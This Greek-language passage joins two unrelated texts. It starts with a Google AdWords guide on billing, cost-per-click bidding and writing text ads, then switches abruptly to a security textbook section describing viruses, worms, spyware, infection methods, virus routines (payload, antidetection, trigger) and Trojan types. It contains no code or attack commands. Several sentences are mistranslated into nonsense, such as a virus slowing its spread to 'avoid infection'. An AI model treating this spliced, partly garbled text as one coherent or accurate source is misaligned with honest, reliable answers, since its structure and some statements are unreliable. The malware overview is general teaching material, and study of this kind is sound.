στοιχεία χρέωσης. Μην ανησυχείτε, δεν δεσμεύεστε για τίποτα εδώ όπως έχουμε πει, μπορείτε να διακόψετε, να επεξεργαστείτε ή να ακυρώσετε τη διαφήμισή σας ανά πάσα στιγμή. Αν έχετε κουπόνι AdWords, εισαγάγετέ το σε αυτό το βήμα. Για τους περισσότερους λογαριασμούς, οι διαφημίσεις σας θα αρχίσουν να προβάλλονται αμέσως μετά την καταχώριση αυτών των στοιχείων. Εντός τριών ωρών, μπορείτε να αναμένετε δεδομένα στην καρτέλα "Καμπάνιες" του λογαριασμού σας. Το κόστος του AdWords Με το AdWords έχετε τον έλεγχο του κόστους της διαφήμισής σας. Δεν υπάρχει απαίτηση ελάχιστης δαπάνης. Εσείς ορίζετε το μέγιστο ποσό το οποίο προτίθεστε να δαπανάτε ημερησίως και επιλέγετε πώς θα δαπανήσετε τα χρήματά σας. Κάθε φορά που κάποιος κάνει μια αναζήτηση στο Google, το AdWords διεξάγει μια δημοπρασία για να προσδιορίσει τις διαφημίσεις που θα εμφανιστούν στα αποτελέσματα αναζήτησης καθώς και την κατάταξη που θα έχουν στη σελίδα. Για να συμπεριληφθούν οι διαφημίσεις σας σε αυτήν τη δημοπρασία, ορίζετε μια επιλογή προσφοράς στο λογαριασμό σας. Οι περισσότεροι νέοι χρήστες του AdWords χρησιμοποιούν τη βασική επιλογή κόστους ανά κλικ (CPC), σύμφωνα με την οποία το κόστος συγκεντρώνεται με βάση τον αριθμό των κλικ που δέχονται οι διαφημίσεις τους. Αν χρησιμοποιήσετε αυτήν την επιλογή, το ποσό που

χρεώνεστε ανά κλικ εξαρτάται, εν μέρει, από τη μέγιστη προσφορά κόστους ανά κλικ που ορίζετε στο λογαριασμό σας, η οποία ονομάζεται και μέγιστη προσφορά CPC. Αυτό το ποσό δηλώνει το μεγαλύτερο ποσό που προτίθεστε να καταβάλετε για ένα κλικ στη διαφήμιση. Στην πραγματικότητα, θα χρεωθείτε μόνο με το ποσό που είναι απαραίτητο για να διατηρηθεί η διαφήμισή σας στη θέση που έχει στη σελίδα. Παράδειγμα: Ορισμένοι άλλοι παράγοντες, όπως η ποιότητα της διαφήμισης, καθορίζουν το ακριβές κόστος ενός κλικ στη διαφήμισή σας. Αν όμως έχετε ορίσει ως μέγιστη προσφορά CPC το 1€ για τις διαφημίσεις σας, τότε το ανώτερο ποσό που θα πληρώσετε μόλις ένας πελάτης κάνει κλικ στη διαφήμισή σας, είναι 1€. Και αν η προσφορά του ανταγωνισμού είναι μόνο 0,50€ για την ίδια θέση διαφήμισης, θα πρέπει να πληρώσετε μόνο 0,51€ για να εμφανιστεί η διαφήμισή σας, με την προϋπόθεση ότι οι διαφημίσεις είναι παρόμοιες στους υπόλοιπους τομείς. Τα στοιχεία μιας διαφήμισης με κείμενο Όλες οι διαφημίσεις του διαδικτύου είναι στην ουσία μηνύματα με δυνατότητα κλικ, τα οποία συνδέουν πελάτες με κάποιον ιστότοπο. Οι διαφημίσεις με κείμενο, η απλούστερη εκδοχή ενός μηνύματος με δυνατότητα κλικ, περιέχουν τρία στοιχεία: μια επικεφαλίδα, μια διεύθυνση URL εμφάνισης και μια περιγραφή. Η πρώτη γραμμή της διαφήμισής σας είναι εκείνη που είναι πιθανότερο να παρατηρήσουν οι πελάτες. Αν θέλετε πραγματικά να ξεχωρίζει η επικεφαλίδα σας, συμπεριλάβετε σε αυτήν λέξεις κλειδιά. Οι χρήστες είναι πιο πιθανό να παρατηρήσουν τις επικεφαλίδες που ταιριάζουν με αυτό που αναζητούν. Στο παράδειγμά μας, η λέξη-κλειδί "διαφημιστείτε" θα πρέπει να τραβήξει την προσοχή των ατόμων που αναζητούν τρόπους για διαφήμιση στο διαδίκτυο. Μπορούμε να προβάλλουμε έως και 25 χαρακτήρες στην επικεφαλίδα σας. Αυτή η γραμμή (εμφανίζεται με πράσινο χρώμα) της διαφήμισής σας δείχνει τη διεύθυνση URL του ιστότοπου που προωθείτε. Με το AdWords μπορείτε να επιλέξετε μια σύντομη αλλά λογική διεύθυνση URL εμφάνισης, για να δώσετε στα άτομα που βλέπουν τη διαφήμισή σας μια σαφή ιδέα για το σημείο όπου θα μεταφερθούν, όταν θα κάνουν κλικ στο σύνδεσμο. Στο παρασκήνιο, μπορείτε να αντιστοιχίσετε στις διαφημίσεις με κείμενο μια διαφορετική διεύθυνση URL προορισμού, η οποία θα μεταφέρει το χρήστη που κάνει κλικ στη διαφήμισή σας σε μια συγκεκριμένη θέση του ίδιου ιστότοπου, η οποία είναι σχετική με την ίδια τη διαφήμιση. Οι χρήστες μπορούν να δουν μόνο τη διεύθυνση URL εμφάνισης της διαφήμισής σας και όχι τη διεύθυνση URL προορισμού.

Λόγω περιορισμένου χώρου, μπορούμε να προβάλλουμε έως και 35 χαρακτήρες στη διεύθυνση URL εμφάνισης. Για γλώσσες που χρησιμοποιούν χαρακτήρες διπλού πλάτους, όπως τα Κινεζικά (απλοποιημένα ή παραδοσιακά), τα Ιαπωνικά ή τα Κορεατικά, μπορούμε να προβάλλουμε έως και 17 χαρακτήρες της διεύθυνσης URL εμφάνισης. Εάν η διεύθυνση URL εμφάνισης είναι μεγαλύτερη από μέγιστο μήκος χαρακτήρων, θα περικόψουμε τη διεύθυνση URL εμφάνισης κατά την εμφάνιση της διαφήμισής σας Στις τελευταίες γραμμές της διαφήμισης με κείμενο περιγράφετε το προϊόν ή την υπηρεσία που διαφημίζετε. Ο χώρος είναι περιορισμένος, γι' αυτό επιλέξτε τις λέξεις σας προσεκτικά, ώστε να τονίζουν τις πιο σημαντικές λεπτομέρειες και τα πλεονεκτήματα. Μπορούμε να προβάλλουμε έως και 35 χαρακτήρες για κάθε γραμμή περιγραφής. Μπορείτε να γράψετε τις διαφημίσεις σας σε πολλές υποστηριζόμενες γλώσσες. Οι περισσότεροι μη αγγλικοί χαρακτήρες, συμπεριλαμβανομένων των συμβόλων tilde (˜), umlaut (¨) και cedilla (¸), προβάλλονται σωστά στις διαφημίσεις σας, συμπεριλαμβανομένης της διεύθυνσης URL εμφάνισης. Για γλώσσες που χρησιμοποιούν χαρακτήρες διπλού πλάτους, όπως είναι τα Κινεζικά (απλοποιημένα ή παραδοσιακά), τα Ιαπωνικά ή τα Κορεατικά, οι διαφημίσεις με κείμενο θα εμφανίζονται στα αποτελέσματα αναζήτησης Google με τον ίδιο τρόπο που εμφανίζονται και στο λογαριασμό σας. Μην ξεχνάτε ότι η επικεφαλίδα, οι γραμμές περιγραφής και η διεύθυνση URL εμφάνισης θα πρέπει να τηρούν τα όρια χαρακτήρων. Σας συνιστούμε να δείτε μια προεπισκόπηση των διαφημίσεών σας για να βεβαιωθείτε ότι είστε ικανοποιημένοι από τον τρόπο που εμφανίζονται. Όταν διαφημίζεστε με το AdWords, οι διαφημίσεις σας μπορούν να εμφανίζονται σε διάφορα σημεία σε όλο τον ιστό, ανάλογα με τον τρόπο στόχευσης των διαφημίσεών σας, τα άτομα στα οποία επιλέγετε να τις προβάλετε και τους τύπους διαφημίσεων που δημιουργείτε. Σε ποια θέση ή σε ποιους μπορούν να εμφανίζονται οι διαφημίσεις σας: 1. Στην αναζήτηση της Google και σε άλλους ιστότοπους αναζήτησης 2. Σε ιστότοπους που επισκέπτονται οι χρήστες 3. Σε κινητά τηλέφωνα με πλήρη προγράμματα περιήγησης, tablet και κινητές συσκευές 4. Σε άτομα σε συγκεκριμένες θέσεις ή τα οποία μιλούν μια συγκεκριμένη γλώσσα 5. Σε συγκεκριμένο κοινό

Πριν να επιλέξετε πού θα εμφανίζονται οι διαφημίσεις σας, προσπαθήστε να σκεφτείτε λίγο σαν τους πελάτες σας. -

Τι τους αρέσει;

-

Ποιες είναι οι συνήθειες τους;

-

Πού είναι;

Τι πρέπει να γνωρίζετε για αυτούς, ώστε να τους προσεγγίσετε με τον καλύτερο τρόπο μέσα από τις διαφημίσεις σας; Αν σκέφτεστε τους πελάτες σας όταν κάνετε τις επιλογές σας, θα μπορέσετε να προσεγγίσετε περισσότερους πελάτες και να έχετε υψηλότερη απόδοση της επένδυσής σας (ROI). Δεν είναι εύκολο να εκφράσετε με λίγες μόλις λέξεις όλα όσα θέλετε να πείτε για την επιχείρησή σας. Σκεφτείτε λίγο τι θέλετε να κάνετε με τη διαφήμισή σας. Κατόπιν, χρησιμοποιήστε τις έξι οδηγίες αυτού του άρθρου, για να δημιουργήσετε μια διαφήμιση που θα είναι ακριβής, εύστοχη και ελκυστική – και που ίσως να σας φέρει πολλά κλικ! Επισημάνετε τι είναι αυτό που κάνει την επιχείρηση, το προϊόν ή την προσφορά σας μοναδική Δωρεάν αποστολή; Μεγάλη συλλογή; Πείτε το! Επισημάνετε χαρακτηριστικά ή τομείς που διαφοροποιούν την επιχείρησή σας από τον ανταγωνισμό. Συμπεριλάβετε τιμές, προσφορές και αποκλειστικότητες Αν προσφέρετε κάτι ιδιαίτερο, φροντίστε να το δουν οι πελάτες σας. Συνήθως, ο κόσμος ψάχνει για να πάρει μια απόφαση για κάτι. Δώστε τους αυτό που χρειάζονται, για να πάρουν την απόφασή τους. Πείτε στους πελάτες σας τι μπορούν να κάνουν Πουλάτε; Πείτε τους ότι μπορούν να αγοράσουν. Έχετε μια προσφορά; Θέλουν να την πάρουν. Ορισμένες φράσεις παρότρυνσης για δράση όπως Αγοράστε, Καλέστε σήμερα, Κάντε την παραγγελία σας, Δείτε τα προϊόντα, Εγγραφείτε και Λάβετε μια προσφορά, υποδεικνύουν στους πελάτες σας τι να περιμένουν όταν θα επισκεφτούν τον ιστότοπό σας. Μπορεί να τραβήξει την προσοχή όσων πραγματοποίησαν αναζήτηση για τη συγκεκριμένη λέξη-κλειδί και δείχνει ότι η διαφήμισή σας είναι σχετική με αυτό που θέλουν. Επιπλέον, η λέξη-κλειδί που χρησιμοποιείτε θα εμφανιστεί με έντονα γράμματα στη διαφήμιση, ακριβώς όπως εμφανίζεται και στα αποτελέσματα αναζήτησης, υποδεικνύοντας προφανέστατα τη συνάφεια της διαφήμισής σας. Ας υποθέσουμε ότι συμπεριλαμβάνετε τη λέξη-κλειδί ψηφιακές μηχανές στην επικεφαλίδα της διαφήμισής σας, όπως "Αγορά ψηφιακών μηχανών" και ένας πελάτης κάνει αναζήτηση

για ψηφιακές μηχανές. Η επικεφαλίδα της διαφήμισής σας θα εμφανιστεί με έντονη γραφή, όπως "Αγορά ψηφιακών μηχανών". Η επικεφαλίδα της διαφήμισής σας θα μπορούσε επίσης να εμφανιστεί με έντονη γραφή εάν ένας πελάτης έκανε αναζήτησης για αγορά μηχανών SLR, όπως "Αγορά ψηφιακών μηχανών", καθώς οι όροι "αγορά" και "μηχανές" αντιστοιχούν σε λέξεις από τον όρο αναζήτησης του πελάτη. Δείτε τη σελίδα του ιστότοπού σας με την οποία συνδέεστε και η οποία ονομάζεται σελίδα προορισμού. Βεβαιωθείτε ότι οι προσφορές ή τα προϊόντα που αναφέρονται στη διαφήμισή σας περιλαμβάνονται σε αυτήν τη σελίδα. Εάν οι επισκέπτες δεν βρουν αυτό που περιμένουν να δουν όταν φτάσουν στον ιστότοπό σας, μπορεί να φύγουν. Δημιουργήστε τρεις με τέσσερις διαφημίσεις ανά ομάδα διαφημίσεων, χρησιμοποιώντας διαφορετικά μηνύματα για να δείτε ποιο αποδίδει καλύτερα με τους πελάτες σας. Το AdWords μπορεί να εμφανίσει αυτόματα τις διαφημίσεις μιας ομάδας διαφημίσεων που έχουν την καλύτερη απόδοση πιο συχνά. Έτσι, δεν χρειάζεται να προσπαθείτε να μαντέψετε τι γίνεται με τις διαφημίσεις σας και θα επικεντρωθείτε σε όσα μάθατε από τα πειράματά σας. Παράδειγμα: Σε ποια διαφήμιση θα κάνατε κλικ, αν αναζητούσατε μια φωτογραφική μηχανή 8 megapixel;

Οι επιτυχημένες διαφημίσεις με κείμενο τείνουν να περιέχουν λέξεις που ταιριάζουν με τον όρο αναζήτησης των χρηστών και τους λένε τι μπορούν να περιμένουν όταν θα κάνουν κλικ στη διαφήμιση. Παρατηρήστε πώς τα κεφαλαία γράμματα στη φράση "Φωτογραφικές Μηχανές 8 Megapixel" κάνουν τις λέξεις να ξεχωρίζουν. Μπορείτε να κάνετε αλλαγές στο κείμενο της διαφήμισής σας οποιαδήποτε στιγμή, ακολουθώντας αυτά τα βήματα. Να έχετε υπόψη, ωστόσο, ότι η επεξεργασία μιας διαφήμισης είναι σαν να δημιουργείτε μια νέα και να διαγράφετε την παλιά, γεγονός που σημαίνει ότι η νέα διαφήμιση θα πρέπει να υποβληθεί στη συνηθισμένη διαδικασία έγκρισης. Πρέπει να γνωρίζετε επίσης ότι θα μηδενιστούν τα στατιστικά στοιχεία απόδοσης της νέας διαφήμισης. Μπορείτε να επεξεργαστείτε το διαφημιστικό κείμενό σας από την καρτέλα Διαφημίσεις της καρτέλας Καμπάνιες. Πρέπει να κάνετε τα εξής:

1.

Συνδεθείτε

στο

Λογαριασμό

σας

στο

AdWords,

στη

διεύθυνση

http://adwords.google.gr 2. Κάντε κλικ στην καρτέλα Καμπάνιες. 3. Μεταβείτε στην καρτέλα Διαφημίσεις. 4. Κάντε κλικ στο εικονίδιο με το μολύβι που εμφανίζεται δίπλα στο διαφημιστικό κείμενο. 5. Προβείτε σε όποιες αλλαγές θέλετε και κάντε κλικ στην επιλογή Αποθήκευση. 6. Η νέα σας διαφήμιση θα υποβληθεί αυτόματα για έλεγχο. Συμβουλή: Αντί να επεξεργαστείτε το διαφημιστικό κείμενο, δημιουργήστε νέες διαφημίσεις, για να ελέγξετε την απόδοση διαφορετικών εκδόσεων της διαφήμισής σας θα αρχίσουμε να προβάλλουμε αυτόματα τη διαφήμιση με την καλύτερη απόδοση. Αυτό σημαίνει ότι η αρχική σας διαφήμιση θα συνεχίσει να προβάλλεται, ενώ οι νέες διαφημίσεις υποβάλλονται στη διαδικασία έγκρισης.

Exploring Common Threats / Διερεύνηση Κοινών Απειλών

Το κακόβουλο λογισμικό περιλαμβάνει ιούς, ransomware, rootkits, worms, δούρειους ίππους, backdoors, εργαλεία κρυφού καναλιού, κατασκοπευτικό λογισμικό και προηγμένες επίμονες απειλές (APT). Το κακόβουλο λογισμικό μπορεί να προκαλέσει ένα ευρύ φάσμα ζημιών, από την εμφάνιση μηνυμάτων, έως την τροποποίηση προγραμμάτων να λειτουργούν ακανόνιστα, να κρυπτογραφούν αρχεία και να ζητούν λύτρα για την αποκρυπτογράφησή τους, έως και την καταστροφή δεδομένων ή σκληρών δίσκων. Ιοί και σκουλήκια (Viruses and Worms) Ένα πράγμα που κάνει τους ιούς μοναδικούς είναι ότι ένας ιός συνήθως χρειάζεται ένα πρόγραμμα ή ένα αρχείο ξενιστή για να μολύνει. Οι ιοί απαιτούν κάποιο είδος ανθρώπινης αλληλεπίδρασης. Ένα worm μπορεί να ταξιδέψει από σύστημα σε σύστημα χωρίς ανθρώπινη αλληλεπίδραση. Όταν ένα worm εκτελείται, μπορεί να αναπαραχθεί ξανά και να μολύνει ακόμη περισσότερα συστήματα. Για παράδειγμα, ένα worm μπορεί να στείλει τον εαυτό του με email σε όλους όσους βρίσκονται στο βιβλίο διευθύνσεών σας και στη συνέχεια να επαναλάβει αυτή τη διαδικασία ξανά και ξανά από τον υπολογιστή κάθε χρήστη που μολύνει.

Αυτός ο τεράστιος όγκος κίνησης μπορεί να οδηγήσει σε άρνηση παροχής υπηρεσιών πολύ γρήγορα. Το λογισμικό κατασκοπείας σχετίζεται στενά με τους ιούς και τα σκουλήκια. Το spyware θεωρείται ένας άλλος τύπος κακόβουλου λογισμικού. Από πολλές απόψεις, το spyware είναι παρόμοιο με ένα Trojan, επειδή οι περισσότεροι χρήστες δεν γνωρίζουν ότι το πρόγραμμα έχει εγκατασταθεί και το πρόγραμμα κρύβεται σε μια σκοτεινή τοποθεσία. Το κατασκοπευτικό λογισμικό κλέβει πληροφορίες από τον χρήστη και καταναλώνει επίσης εύρος ζώνης. Αν αυτό δεν είναι αρκετό, το spyware μπορεί επίσης να ανακατευθύνει την κυκλοφορία στο διαδίκτυο και να σας κατακλύσει με ενοχλητικά αναδυόμενα παράθυρα. Πολλοί χρήστες θεωρούν το spyware ως έναν άλλο τύπο ιού. Αυτή η ενότητα καλύπτει μια σύντομη ιστορία των ιών υπολογιστών, τους κοινούς τύπους ιών και μερικές από τις πιο γνωστές επιθέσεις ιών. Επίσης, συζητούνται ορισμένα εργαλεία που χρησιμοποιούνται για τη δημιουργία ιών και οι καλύτερες μέθοδοι πρόληψης.

Τύποι και μέθοδοι μετάδοσης Αν και οι ιοί έχουν μια ιστορία που χρονολογείται από την δεκαετία του 1980, ο τρόπος μόλυνσής τους έχει αλλάξει με τα χρόνια. Οι ιοί εξαρτώνται από τους ανθρώπους για τη διασπορά τους. Οι ιοί απαιτούν ανθρώπινη δραστηριότητα, όπως η εκκίνηση ενός υπολογιστή, η εκτέλεση μιας αυτόματης εκκίνησης σε ψηφιακά μέσα (π.χ. CD, DVD, στικάκια USB, εξωτερικοί σκληροί δίσκοι κ.ο.κ.), ή το άνοιγμα ενός συνημμένου ηλεκτρονικού ταχυδρομείου. Το κακόβουλο λογισμικό διαδίδεται στον κόσμο των υπολογιστών με διάφορους τρόπους: Master boot record infection: Είναι η αρχική μέθοδος επίθεσης. Λειτουργεί επιτιθέμενη στο master boot record του σκληρού δίσκου. BIOS infection: Αυτό θα μπορούσε να κάνει εντελώς το σύστημα μη λειτουργικό ή η συσκευή θα μπορούσε να κολλήσει πριν περάσει τον αυτοέλεγχο λειτουργίας (Power On Self-Test POST). File infection: Αυτό περιλαμβάνει κακόβουλο λογισμικό που βασίζεται στον χρήστη για να εκτελέσει ένα αρχείο. Συνήθως χρησιμοποιούνται επεκτάσεις όπως .com και .exe. Μερικές μορφές κοινωνικής μηχανικής χρησιμοποιούνται συνήθως για να πείσουν τον χρήστη να εκτελέσει το πρόγραμμα. Οι τεχνικές περιλαμβάνουν τη μετονομασία του προγράμματος ή

την προσπάθεια απόκρυψης της επέκτασης .exe και την εμφάνισή του ως γραφικό (jpg, .bmp, .png, .svg και άλλα παρόμοια). Macro infection: Οι ιοί μακροεντολών εκμεταλλεύονται τις scripting υπηρεσίες που είναι εγκατεστημένες στον υπολογιστή σας. Η χειραγώγηση του και η χρήση μακροεντολών στο Microsoft Excel, το Microsoft Word και Microsoft PowerPoint ήταν πολύ δημοφιλείς στο παρελθόν. Cluster: Αυτός ο τύπος ιού μπορεί να τροποποιήσει τον κατάλογο στον πίνακα εγγραφών έτσι ώστε να υποδεικνύει έναν χρήστη ή ένα σύστημα στο κακόβουλο λογισμικό και όχι το πραγματικό πρόγραμμα. Multipartite: Αυτό το στυλ ιού μπορεί να χρησιμοποιήσει περισσότερες από μία μεθόδους διάδοσης και στοχεύει τόσο τον τομέα εκκίνησης όσο και τα αρχεία προγράμματος. Ένα παράδειγμα είναι ο NATAS. Αφού μολυνθεί ο υπολογιστής σας, το κακόβουλο λογισμικό μπορεί να κάνει πολλά πράγματα. Ορισμένα εξαπλώνονται γρήγορα. Αυτός ο τύπος ιού είναι γνωστός ως ταχείας μόλυνσης. Οι ιοί ταχείας μόλυνσης μολύνουν οποιοδήποτε αρχείο είναι σε θέση να μολύνουν. Άλλοι περιορίζουν τον ρυθμό μόλυνσης. Αυτός ο τύπος δραστηριότητας είναι γνωστός ως αραιή μόλυνση. Η αραιή μόλυνση σημαίνει ότι ο ιός παίρνει το χρόνο του για να μολύνει άλλα αρχεία ή να εξαπλώσει τη ζημιά του. Αυτή η τεχνική χρησιμοποιείται για να προσπαθήσει ο ιός να αποφύγει τη μόλυνση. Ορισμένοι ιοί εγκαταλείπουν τη ζωή τους ζώντας αποκλειστικά σε αρχεία και φορτώνονται στη μνήμη RAM, ο οποίος είναι ο μόνος τρόπος με τον οποίο οι ιοί του τομέα εκκίνησης μπορούν να εξαπλωθούν. Καθώς οι εταιρείες προστασίας από ιούς και ασφάλειας έχουν αναπτύξει καλύτερους τρόπους εντοπισμού του κακόβουλου λογισμικού, οι δημιουργοί κακόβουλου λογισμικού αντεπιτέθηκαν προσπαθώντας να αναπτύξουν κακόβουλο λογισμικό που είναι πιο δύσκολο να εντοπιστεί. Για παράδειγμα, το 2012, το Flame θεωρήθηκε ότι ήταν το πιο εξελιγμένο κακόβουλο λογισμικό μέχρι τότε. Το Flame είχε την ικανότητα να εξαπλώνεται σε άλλα συστήματα μέσω ενός τοπικού δικτύου. Μπορούσε να καταγράφει ήχο, στιγμιότυπα οθόνης και δραστηριότητα του πληκτρολογίου και να μετατρέπει τους μολυσμένους υπολογιστές σε φάρους Bluetooth που προσπαθούν να κατεβάσουν πληροφορίες επικοινωνίας από κοντινές συσκευές με δυνατότητα Bluetooth. Μια άλλη τεχνική που έχουν επιχειρήσει οι προγραμματιστές κακόβουλου λογισμικού είναι ο πολυμορφισμός. Ένας πολυμορφικός ιός μπορεί να αλλάζει την υπογραφή του κάθε φορά

που αναπαράγεται και μολύνει ένα νέο αρχείο. Αυτή η τεχνική καθιστά πολύ πιο δύσκολο τον εντοπισμό του από το πρόγραμμα προστασίας από ιούς. Μια από τις μεγαλύτερες αλλαγές είναι ότι οι δημιουργοί κακόβουλου λογισμικού δεν εξαπλώνουν μαζικά ιούς και άλλα κακόβουλα προγράμματα με τον τρόπο που το έκαναν παλαιότερα. Μεγάλο μέρος του κακόβουλου λογισμικού σήμερα είναι γραμμένο για έναν συγκεκριμένο στόχο. Περιορίζοντας την εξάπλωση του κακόβουλου λογισμικού και στοχεύοντας σε λίγα μόνο θύματα, οι προγραμματιστές κακόβουλου λογισμικού κάνουν την ανακάλυψη του κακόβουλου λογισμικού και τη δημιουργία μιας υπογραφής για τον εντοπισμό του πολύ πιο δύσκολη για τις εταιρείες antivirus. Πότε ένας ιός δεν είναι ιός; Πότε ο ιός είναι απλά μια φάρσα; Μια φάρσα με ιό δεν είναι τίποτα περισσότερο από μια αλυσιδωτή επιστολή, ένα meme ή ένα μήνυμα ηλεκτρονικού ταχυδρομείου που σας ενθαρρύνει να το προωθήσετε στους φίλους σας για να τους προειδοποιήσετε για επικείμενη καταστροφή ή κάποιο άλλο αξιοσημείωτο γεγονός. Για να πειστούν οι αναγνώστες να προωθήσουν τη φάρσα, το μήνυμα ηλεκτρονικού ταχυδρομείου θα περιέχει κάποιες πληροφορίες που ακούγονται επίσημα και θα μπορούσαν να εκληφθούν ως έγκυρες.

Malware Payloads (Ωφέλιμα φορτία κακόβουλου λογισμικού) Το κακόβουλο λογισμικό πρέπει να τοποθετήσει κάπου το ωφέλιμο φορτίο του. Μπορούν πάντα να αντικαταστήσουν ένα τμήμα του μολυσμένου αρχείου, αλλά κάτι τέτοιο θα το κατέστρεφε. Οι περισσότεροι συγγραφείς κακόβουλου λογισμικού θέλουν να αποφύγουν την ανίχνευση για όσο το δυνατόν μεγαλύτερο χρονικό διάστημα και μπορεί να μην έχουν γράψει το πρόγραμμα για να καταστρέψουν αμέσως τα αρχεία. Ένας τρόπος με τον οποίο ο συγγραφέας κακόβουλου λογισμικού μπορεί να το πετύχει αυτό είναι να τοποθετήσει τον κώδικα του κακόβουλου λογισμικού είτε στην αρχή είτε στο τέλος του μολυσμένου αρχείου. Το κακόβουλο λογισμικό που είναι γνωστό ως prepender μολύνει προγράμματα τοποθετώντας τον ιό του κώδικα στην αρχή του μολυσμένου αρχείου, ενώ ένα appender τοποθετεί τον κώδικά του στο τέλος του μολυσμένου αρχείου. Και οι δύο τεχνικές αφήνουν το αρχείο άθικτο, με τον κακόβουλο κώδικα να προστίθεται στην αρχή ή στο τέλος του αρχείου.

Ανεξάρτητα από την τεχνική μόλυνσης, όλοι οι ιοί έχουν ορισμένα βασικά κοινά συστατικά, όπως περιγράφονται λεπτομερώς στο κατάλογο που ακολουθεί. Για παράδειγμα, όλοι οι ιοί έχουν μια αναζήτηση ρουτίνας και μια ρουτίνα μόλυνσης. Search routine: Η ρουτίνα αναζήτησης είναι υπεύθυνη για τον εντοπισμό νέων αρχείων στον δίσκο ή τη μνήμη RAM για να μολύνει. Η ρουτίνα αναζήτησης μπορεί να περιλαμβάνει "σκιαγράφηση προφίλ". Το προφίλ θα μπορούσε να χρησιμοποιηθεί για τον εντοπισμό του περιβάλλοντος και να διαμορφώσει το κακόβουλο λογισμικό ώστε να είναι πιο αποτελεσματικότερο και ενδεχομένως να παρακάμψει την ανίχνευση. Infection routine: Η ρουτίνα αναζήτησης είναι άχρηστη αν ο ιός δεν έχει τρόπο να εκμεταλλευτεί αυτά τα ευρήματα. Επομένως, το δεύτερο συστατικό ενός ιού είναι μια ρουτίνα μόλυνσης. Αυτό το τμήμα του ιού είναι υπεύθυνο για την αντιγραφή του ιού και την την προσκόλλησή του σε έναν κατάλληλο ξενιστή. Το κακόβουλο λογισμικό θα μπορούσε επίσης να χρησιμοποιήσει μια ρουτίνα επαναμόλυνσης/επανεκκίνησης για να συνεχίσει να θέτει σε κίνδυνο το προσβεβλημένο σύστημα. Payload: Οι περισσότεροι ιοί δεν σταματούν εδώ και περιέχουν επίσης ένα ωφέλιμο φορτίο. Ο σκοπός της ρουτίνας ωφέλιμου φορτίου μπορεί να είναι να διαγράψει τον σκληρό δίσκο, να εμφανίσει ένα μήνυμα στην οθόνη ή ενδεχομένως να στείλει τον ιό σε 50 άτομα στο βιβλίο διευθύνσεών σας. Το ωφέλιμο φορτίο δεν είναι απαραίτητο και χωρίς αυτό, πολλοί άνθρωποι μπορεί να μην μάθουν ποτέ ότι ο ιός υπάρχει. Antidetection routine: Πολλοί ιοί μπορεί επίσης να έχουν μια ρουτίνα αντι-ανίχνευσης. Ο στόχος της είναι να βοηθήσει να γίνει ο ιός πιο αθόρυβος και να αποφύγει την ανίχνευση. Trigger routine: Ο στόχος της ρουτίνας ενεργοποίησης είναι να εκτοξεύσει το ωφέλιμο φορτίο σε μια δεδομένη ημερομηνία και ώρα. Ο trigger μπορεί να ρυθμιστεί ώστε να εκτελεί μια συγκεκριμένη ενέργεια σε μία δεδομένη χρονική στιγμή. Trojans (Δούρειοι ίπποι) Οι Trojans είναι προγράμματα που προσποιούνται ότι κάνουν ένα πράγμα, αλλά, όταν φορτώνονται, εκτελούν στην πραγματικότητα μια άλλη, πιο κακόβουλη πράξη. Οι Trojans πήραν το όνομά τους από την επική ιστορία του Ομήρου "Η Ιλιάδα". Για να νικήσουν τον εχθρό τους, οι Έλληνες κατασκεύασαν ένα γιγάντιο ξύλινο άλογο με μια καταπακτή στην κοιλιά του. Οι Έλληνες ξεγέλασαν τους Τρώες για να φέρουν το μεγάλο ξύλινο άλογο στην οχυρωμένη πόλη της Τροίας. Ωστόσο, εν αγνοία των Τρώων και κάτω από την κάλυψη του

σκοταδιού, οι Έλληνες βγήκαν από το ξύλινο άλογο και άνοιξαν την πύλη της πόλης και επέτρεψαν στους στρατιώτες που περίμεναν να μπουν στην πόλη. Ένα λογισμικό trojan horse βασίζεται στην ίδια ιδέα. Ένας χρήστης μπορεί να νομίζει ότι ένα αρχείο φαίνεται ακίνδυνο και είναι ασφαλές να εκτελεστεί, αλλά μετά την εκτέλεση του αρχείου, παραδίδει ένα κακόβουλο ωφέλιμο φορτίο. Οι δούρειοι ίπποι λειτουργούν επειδή συνήθως παρουσιάζονται ως κάτι που θέλετε, όπως ένα μήνυμα ηλεκτρονικού ταχυδρομείου με ένα PDF, ένα έγγραφο Word ή ένα φύλλο Excel. Οι δούρειοι ίπποι εργάζονται σκληρά για να κρύψουν τους πραγματικούς τους σκοπούς. Το παραποιημένο email μπορεί να μοιάζει σαν να είναι από το τμήμα ανθρώπινου δυναμικού και το συνημμένο αρχείο μπορεί να ισχυρίζεται ότι είναι μια λίστα με τις επικείμενες απολύσεις. Το ωφέλιμο φορτίο εκτελείται εάν ο επιτιθέμενος καταφέρει να πείσει το θύμα να ανοίξει το αρχείο ή να κάνει κλικ στο συνημμένο αρχείο. Αυτό το ωφέλιμο φορτίο μπορεί να επιτρέψει σε έναν χάκερ απομακρυσμένη πρόσβαση στο σύστημά σας, να εκκινήσει ένα πρόγραμμα καταγραφής πληκτρολόγησης για να καταγράψει κάθε πληκτρολόγησή σας, να εγκαταστήσει μια κερκόπορτα στο σύστημά σας, να προκαλέσει άρνηση παροχής υπηρεσιών (DoS) ή ακόμη και να απενεργοποιήσει την προστασία από ιούς ή το τείχος προστασίας λογισμικού. Σε αντίθεση με έναν ιό ή ένα σκουλήκι, τα Trojans δεν μπορούν να εξαπλωθούν μόνα τους. Βασίζονται στον απληροφόρητο χρήστη. Trojan Types Μερικές κατηγορίες Trojan είναι τα command-shell Trojans, τα Trojans γραφικής διεπαφής χρήστη (GUI), τα HTTP/HTTPS Trojans, τα document Trojans, τα defacement Trojans, τα botnet Trojans, τα Virtual Network Computing (VNC) Trojans, τα remote-access Trojans, τα datahiding Trojans, τα banking Trojans, τα DoS Trojans, τα FTP Trojans, τα software-disabling Trojans και τα covert-channel Trojans. Στην πραγματικότητα, είναι δύσκολο να κατατάξετε ορισμένα Trojans σε έναν ενιαίο τύπο, επειδή πολλά από αυτά έχουν περισσότερες από μία λειτουργίες. Για να κατανοήσετε καλύτερα τι μπορούν να κάνουν οι Trojans, ανατρέξτε στην ακόλουθη λίστα, η οποία περιγράφει μερικούς από αυτούς τους τύπους: Remote access: Τα Trojans απομακρυσμένης πρόσβασης (RAT) επιτρέπουν στον εισβολέα τον πλήρη έλεγχο του συστήματος. Το Poison Ivy είναι ένα παράδειγμα αυτού του τύπου Trojan. Τα Trojans απομακρυσμένης πρόσβασης συνήθως εγκαθίστανται ως προγράμματα πελάτη/διακομιστή, έτσι ώστε ο επιτιθέμενος να μπορεί να συνδεθεί στο μολυσμένο σύστημα και να το ελέγχει εξ αποστάσεως.

